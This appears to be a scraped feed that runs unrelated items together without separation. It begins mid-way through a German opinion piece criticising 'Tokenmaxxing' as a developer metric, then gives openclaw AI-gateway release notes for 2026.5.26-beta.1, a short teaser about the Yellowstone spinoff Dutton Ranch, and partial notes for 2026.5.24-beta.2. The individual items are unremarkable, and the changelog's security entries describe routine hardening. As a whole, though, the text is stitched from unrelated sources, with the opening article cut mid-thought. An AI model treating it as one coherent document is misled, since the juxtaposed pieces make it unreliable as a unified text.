Zweitens ist eine „Zielsetzung“ dieser Art quasi dazu gemacht, massiv ausgenutzt zu werden, indem sinnlos Token verbrannt werden – siehe auch Goodharts Gesetz.
Drittens könnten Manager in den Führungsetagen auf das Phänomen aufmerksam werden. Schließlich suchen sie schon lange nach einer Methode, um Developer zu evaluieren. Sollten Sie Tokenmaxxing als Option dafür entdecken, prophezeie ich einen rasanten Niedergang.

Natürlich lassen sich verbrauchte Token leicht zählen und die Werte sehen in einem Dashboard eventuell auch toll aus. Leider ist es nur für absolut nichts gut – außer dazu, festzustellen, wie viel Strom durch die GPUs gejagt wurde. Während ich diesen Text hier tippe, habe ich bereits vor meinem inneren Auge, wie sich die OKRs in den Köpfen der Manager formen und im Rahmen einer Präsentation für Investoren per Powerpoint-Slide verkündet wird: „Der Token-Durchsatz ist im Jahresvergleich um 30 Prozent gestiegen!“

Es verhält sich mit Tokenmaxxing ähnlich wie damit, Code-Zeilen zu zählen: Eine Maximierung ist ein Kontraindikator für Qualität und Erfolg. Dazu kommt, dass es tatsächlich auch zu schlechteren Ergebnissen führen kann, möglichst viele Token zu verbrauchen. KI-Assistenten wie Claude Code erfordern vielmehr, Ressourcen mit Bedacht zu managen.

Das Letzte, was Unternehmen (und auch Devs) brauchen können, ist, dass der Token-Verbrauch zur neuen „Beschäftigungsarbeit“ wird, bei der Entwickler Ressourcen verschwenden und Führungskräfte ihnen dafür noch auf die Schulter klopfen. Das hat man wohl auch bei Meta erkannt und dem Tokenmaxxing inzwischen klugerweise einen Riegel vorgeschoben. (fm)

Dieser Artikel ist im Original bei unserer Schwesterpublikation Infoworld.com erschienen.

openclaw 2026.5.26-beta.1

Tue, 26 May 2026 23:16:49 +0200

2026.5.26

Highlights

Faster replies and startup: visible reply delivery now separates user-facing sends from slower follow-up work, command/model/plugin metadata is reused on hot paths, and Gateway startup avoids repeated plugin, channel, session, usage-cost, and filesystem scans.
Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.
More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage get reaction approvals.
Safer agents: Codex app-server auth, compaction, source replies, sandbox path handling, and usage-limit recovery are more robust; OpenAI-compatible providers avoid empty-tool and malformed payload failures.
More reliable replay and installs: legacy tool results, subagent spawn payloads, stale lock ownership, Windows stack-heavy startup, macOS restart validation, and Docker package preparation all fail less surprisingly.
Better install/update/release confidence: Alpine installs, stable update channels, Docker/package timeouts, Windows/macOS proof lanes, Testbox/Crabbox delegation, and plugin publish checks all got hardened.
New observability: Activity tab, gateway secret-prep traces, tool/model stream progress, OpenTelemetry LLM spans, release performance evidence, and richer missing telemetry signals make failures easier to inspect.

Changes

Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs and CLI surface.
Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (#85667) Thanks @fuller-stack-dev.
Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (#83019, #80370, #86191)
Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual /approve commands. (#85894, #85952, #85477)
Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (#84094)
Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (#86798, #86355) Thanks @ngutman.
Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (#84649, #85843, #86517, #86678)
Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.
Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.
Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.
Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.
Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.
Cron: default cron.maxConcurrentRuns to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.
QA-Lab: add qa coverage --match so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.
Discord/model picker: surface an alpha-bucket select (e.g. A–G (12) · H–N (18) · O–Z (5)) when the provider list or a provider's model list exceeds 25 items, so configs with provider/* wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.
Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes #12831. Thanks @BunsDev.
Build: include ui:build in the full and ciArtifacts profiles of scripts/build-all.mjs so pnpm build always rebuilds dist/control-ui after tsdown cleans dist, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (#85206)
iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (#86355) Thanks @ngutman.
Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (#86437)

Fixes

Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (#86989, #86990, #86991, #86992, #86993, #86994) Thanks @keshavbotagent.
Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.
Agents/replay: repair legacy tool results before replay, preserve sessions_spawn transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (#82203, #86934, #87025) Thanks @martingarramon, @vincentkoc, and @joshavant.
Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (#86677, #86476) Thanks @TurboTheTurtle and @pashpashpash.
Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (#87030, #86818, #86559) Thanks @joshavant, @luoyanglang, and @stevenepalmer.
CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (#87031, #85387) Thanks @giodl73-repo and @vincentkoc.
Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (#86814, #86964) Thanks @Alix-007 and @vincentkoc.
Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.
Telegram/network: treat ENETDOWN as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (#86762) Thanks @TurboTheTurtle.
Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (#83873, #85361, #85555, #85656, #85709, #86299, #86553) Thanks @SebTardif, @luoyanglang, and @neeravmakwana.
iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (#82642, #85475, #86569, #86705, #86706, #86770) Thanks @homer-byte, @TurboTheTurtle, @swang430, and @omarshahine.
WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect OPENCLAW_HOME, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (#83833, #85309, #85777, #85794, #85906, #86318, #86697) Thanks @sliverp, @neeravmakwana, and @Kailigithub.
Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (#80227, #86238, #86487, #86571, #86595, #86601)
Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (#85378, #85542, #85891, #85909, #86408)
Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (#70473, #85764, #86014, #86134, #86427, #86944) Thanks @openperf, @fuller-stack-dev, @zhangguiping-xydt, and @ferminquant.
Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (#85739, #85787, #86060, #86260, #86384, #86533) Thanks @liaoyl830.
Install/release: support Alpine CLI installs and runtime floors, avoid npm min-release-age installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, and make release/plugin prerelease checks fail closed instead of hanging or false-greening. (#85491)
Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (#85849, #85934, #86046, #86557)
Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (#85776, #86037, #86437, #86857, #86923)
Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (#80613, #82928, #85060, #85704, #85967, #86701) Thanks @brokemac79, @openperf, and @yaaboo-gif.
Agents/sessions: include visibility metadata on restricted sessions_list results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (#86944) Thanks @ferminquant.
Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid discovery.wideArea.domain and dns setup --domain values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks @mmaps.
Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (#86312) Thanks @neeravmakwana.
Telegram: treat /command@TargetBot bot-command entities as explicit mentions for the addressed bot so requireMention groups no longer drop targeted commands or captions. Fixes #84462. (#86553) Thanks @luoyanglang.
CI: bound Docker/Bash E2E tarball npm installs with OPENCLAW_E2E_NPM_INSTALL_TIMEOUT so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.
CI: keep OPENCLAW_TESTBOX=1 pnpm check:changed delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.
CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged git fetch.
CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped openclaw child processes cannot wedge the scheduled install smoke.
iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under ~/Library/Messages/Attachments (including the wildcard /Users/*/Library/Messages/Attachments root) are read through the existing inbound path policy instead of being rejected as path-not-allowed. Literal localRoots stays workspace-scoped. Fixes #30170. (#86569)
QQ Bot: respect OPENCLAW_HOME for outbound media path resolution so sends no longer silently fail when HOME and OPENCLAW_HOME differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes #83562. Thanks @sliverp.
Update: report the primary malformed openclaw.extensions payload error without adding a duplicate missing-main diagnostic. (#86596) Thanks @ferminquant.
Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (#86620) Thanks @BryanTegomoh.
Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (#86575) Thanks @ferminquant.
IRC: store inbound channel routes with the canonical channel:#name target and join transient channel sends before writing. (#85906) Thanks @Kailigithub.
Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident $0 total. (#85882) Thanks @MichaelZelbel.
Agents/Codex: honor yolo app-server approval policy only for the full never plus danger-full-access case. (#85909) Thanks @earlvanze.
Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (#82947) Thanks @SebTardif.
Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (#80059) Thanks @pavelzak.
Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (#85934) Thanks @SebTardif.
Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (#86046) Thanks @SebTardif.
Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct discord.com connections before opening the WebSocket. Fixes #80227. Thanks @Clivilwalker.
Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (#84812) Thanks @marchpure.
Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (#86501) Thanks @tianxiaochannel-oss88.
Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (#86529) Thanks @ai-hpc.
Gateway: emit plugin session_end/session_start hooks when agent.send rotates or replaces a session id, keeping hook lifecycle state aligned with sessions.changed notifications. Fixes #83507. (#85875) Thanks @brokemac79.
OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes #72373. Thanks @brokemac79.
Google: stop normalizing gemini-3.1-flash-lite to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes #86151. (#86240) Thanks @SebTardif.
Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try nodejs-current, and report Alpine version guidance when repositories only provide older Node packages.
Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes #80184. (#86570) Thanks @brokemac79.
Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (#85489) Thanks @fuller-stack-dev.
Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (#70473) Thanks @fuller-stack-dev.
Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (#85542) Thanks @fuller-stack-dev.
Agents/Codex: allow Codex app-server runs to bootstrap from CODEX_API_KEY or OPENAI_API_KEY when no Codex auth profile is configured.
Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (#86408) Thanks @funmerlin and @VACInc.
Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.
Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute time paths so RSS probes can run Node and pnpm on fresh macOS runners.
Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.
TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.
Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale sessions.json.*.tmp sidecars. Fixes #56827. Thanks @openperf.
Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.
Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.
Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.
Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes #86518. (#86533) Thanks @liaoyl830.
Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.
Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.
Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run ENOENT failures. Fixes #82928. Thanks @galiniliev.
Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (#86487) Thanks @neeravmakwana.
Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.
Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.
Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.
Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (#86177) Thanks @TurboTheTurtle.
Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.
Kilo Gateway: send string stop sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (#86461) Thanks @SebTardif.
Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.
Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (#86037)
Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind SessionWriteLockTimeoutError. Fixes #86014. Thanks @openperf.
Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.
Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (#86327) Thanks @abnershang.
Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (#84409) Thanks @samzong.
Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (#85733)
Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (#85348) Thanks @osolmaz.
Gateway: clear the runtime config snapshot before SIGUSR1 in-process restarts so config changes survive the next gateway loop. (#86388) Thanks @XuZehan-iCenter.
Models: show OAuth delegation markers as configured models.json auth while keeping runtime route usability checks strict. (#86378) Thanks @rohitjavvadi.
Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (#86313) Thanks @ferminquant.
Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes #84922. (#86415) Thanks @IWhatsskill.
Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (#86260) Thanks @stevenepalmer.
Security/Audit: flag webhook hooks.token reuse of active Gateway password auth in openclaw security audit while keeping password-mode startup compatibility. (#84338) Thanks @coygeek.
QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes #85267. (#85271) Thanks @SymbolStar.
Agents/heartbeat: stop heartbeat turns after the first valid heartbeat_respond so repeated response loops do not burn tokens. (#86357) Thanks @udaymanish6.
Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.
Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (#86302) Thanks @SebTardif.
Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (#85704) Thanks @yaaboo-gif.
Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (#86299) Thanks @SebTardif.
Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (#86318) Thanks @neeravmakwana.
Cron: accept leading-plus relative durations such as +5m for one-shot --at schedules. (#86341) Thanks @mushuiyu886.
Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (#85933) Thanks @fuller-stack-dev.
Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.
QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.
Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run pnpm check:changed from the intended diff.
xAI/LM Studio: avoid buffering ordinary bracketed or final prose until stream completion while watching for plain-text tool-call fallbacks.
Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes #86102. (#86384) Thanks @1052326311.
Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (#86238) Thanks @fuller-stack-dev.
Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (#86571) Thanks @joshavant.
Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.
Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that pnpm build includes ui:build.
Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.
Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.
QA-Lab: make the synthetic OpenAI provider honor generic reply exactly: directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.
Gateway: abort active agent RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.
Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.
Build: route scripts/ui.js through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce dist/control-ui.
Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.
Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.
Install/update: bypass npm min-release-age policies with --min-release-age=0 instead of --before so hosted installers keep working on npm versions that reject the combined config. (#84749) Thanks @TeodoroRodrigo.
Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes #85639. Thanks @openperf.
WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes #86347. Thanks @shakkernerd.
Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.
Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.
Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.
Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (#81153) Thanks @ai-hpc.
xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (#86222) Thanks @fuller-stack-dev.
CLI: suppress benign self-update version-skew warnings during package post-update finalization.
Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or n/a results.
Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.
Docker: restore writable ~/.config in runtime images. Fixes #85968. Thanks @hkoessler and @Bartok9.
Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.
Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.
Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.
Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (#86287) Thanks @ferminquant.
Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.
Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.
Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on control_request, and document that OpenClaw exec policy is authoritative. Fixes #80819. (#86330, from #81971) Thanks @guthirry and @sallyom.
Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude --permission-mode for managed live sessions. (#86557) Thanks @sallyom.
Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.
Codex: log when implicit app-server never approvals are promoted for OpenClaw tool policy, including whether the trigger was a before_tool_call hook or trusted tool policy.
Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks @amknight.
Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (#83971) Thanks @damianFelixPago.
Telegram: route normal [telegram][diag] polling diagnostics through runtime.log while keeping non-diag warnings and persistence failures on runtime.error, so healthy polling startup no longer looks like an error. Fixes #82957. (#82958) Thanks @galiniliev.
Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (#86286) Thanks @jason-allen-oneal.
Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (#85690) Thanks @ngutman.
Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (#86134) Thanks @zhangguiping-xydt.
iMessage: dedupe watcher startup when channels.imessage.accounts lists both default and a named account that point at the same local Messages source, so the gateway no longer spawns two imsg rpc processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and openclaw doctor flags the redundant account with a rebinding hint. Fixes #65141. (#86705) Thanks @swang430.

Dutton Ranch fans are already hoping one unhinged character 'doesn't survive' first season of Taylor Sheridan's Yellowstone spinoff series — but for the 'dumbest reason'

Tue, 26 May 2026 16:03:28 +0200

It's unusual that you're rooting for a character to be killed off, but in Yellowstone spinoff Dutton Ranch, someone has got a fan hex for the 'dumbest' reason possible.

openclaw 2026.5.24-beta.2

Mon, 25 May 2026 02:01:25 +0200

2026.5.24

Changes

iMessage: support thumb-approval reactions — 👍 (Like tapback) resolves an approval as allow-once and 👎 resolves as deny, with the explicit-approver allowlist read from channels.imessage.allowFrom; allow-always stays on the manual /approve allow-always text fallback. Mirrors the WhatsApp behavior from #85477.
Gateway/perf: reuse process-stable channel catalog reads, avoid repeated bundled-channel boundary checks, and rotate gateway watch CPU profiles so benchmark runs do not accumulate unbounded artifacts.
Gateway/perf: cache stable install-record, channel-catalog, bundled-channel, and Telegram session-store metadata during process-local hot paths to reduce repeated JSON and manifest reads.
Gateway/perf: reuse immutable plugin metadata snapshots across startup, config, model, channel, setup, and secret metadata readers so hot paths avoid repeated plugin file stats and manifest registry reloads.
Talk/realtime: let WebUI and Discord voice callers ask for active OpenClaw run status, cancel, steer, or queue follow-up work while a consult is still running. (#84231) Thanks @Solvely-Colin.
Discord/voice: add realtime wake-name gating with agent-name defaults and raise profile bootstrap context budget for longer USER.md/SOUL.md files.
Gateway/perf: lazy-load startup-idle plugin work, core gateway method handlers, and the embedded ACPX runtime so Gateway health and ready signals no longer wait on unused handler trees or ACPX probes.
Gateway/perf: cache plugin SDK public-surface alias maps and skip irrelevant macOS Linuxbrew PATH probes so Gateway startup avoids repeated filesystem walks and slow missing-directory stats.
Image tool: add adaptive model-aware image compression with an agents.defaults.imageQuality preference for choosing token-efficient, balanced, or high-detail media handling.
Meeting Notes: add a source-only external meeting-notes plugin and SDK source-provider contract outside the core npm package, with auto-start capture config, manual transcript imports, read-only openclaw meeting-notes CLI access, and Discord voice as the first live source.
Meeting Notes/Discord: release channel account startup before meeting-notes auto-capture, wait for the Discord voice manager during gateway boot, and stop plugin services before channel shutdown so voice capture state remains available during startup and cleanup.
Docs/channels/config: add Signal configPath, Telegram wildcard topic defaults, local-time backup archive names, Termux home fallback, include-path validation, secret-scanner-safe placeholder guidance, Gemini CLI/Antigravity media guidance, and macOS VM auto-login guidance. Thanks @NorseGaud, @yudistiraashadi, @huangqian8, @VibhorGautam, @maweibin, @tianxingleo, @IgnacioPro, and @xzcxzcyy-claw.
Docs: clarify model-usage portability, Codex migration prerequisites, status bootstrap wording, thread-bound subagent limits, hook ownership, and config-preserving safety guidance. Thanks @aniruddhaadak80, @leno23, @TomDjerry, @matthewxmurphy, @vincentkoc, and @stablegenius49.
Docs: clarify README onboarding and Gateway startup paths, WhatsApp QR/408 recovery, cron output language prompts, skill advanced features, gateway upstream 403 troubleshooting, and plugin fallback override guidance. Thanks @deepujain, @Zacxxx, @Jah-yee, @neyric, @usimic, @Renu-Cybe, @BigUncle, and @SeashoreShi.
Docs: clarify context-pruning ratio bounds, local dashboard recovery, CLI env markers, remote onboarding token behavior, and Peekaboo Bridge permissions for subprocess agents. Thanks @ayesha-aziz123, @dishraters, @hougangdev, and @brandonlipman.
Docs: clarify browser CDP diagnostics, Plugin SDK allowlist imports, status-reaction timing defaults, queue steering behavior, limited-tool troubleshooting, cron HEARTBEAT handling, Telegram multi-agent groups, Bitwarden SecretRef setup, and EasyRunner deployments. Thanks @Quratulain-bilal, @mbelinky, @Mickey-, @vancece, @xenouzik, @posigit, @surlymochan, @janaka, and @choiking.
CLI/models: let openclaw models auth login store a single returned provider auth profile under a requested --profile-id, and document named Codex OAuth profile setup. (#49315) Thanks @DanielLSM.
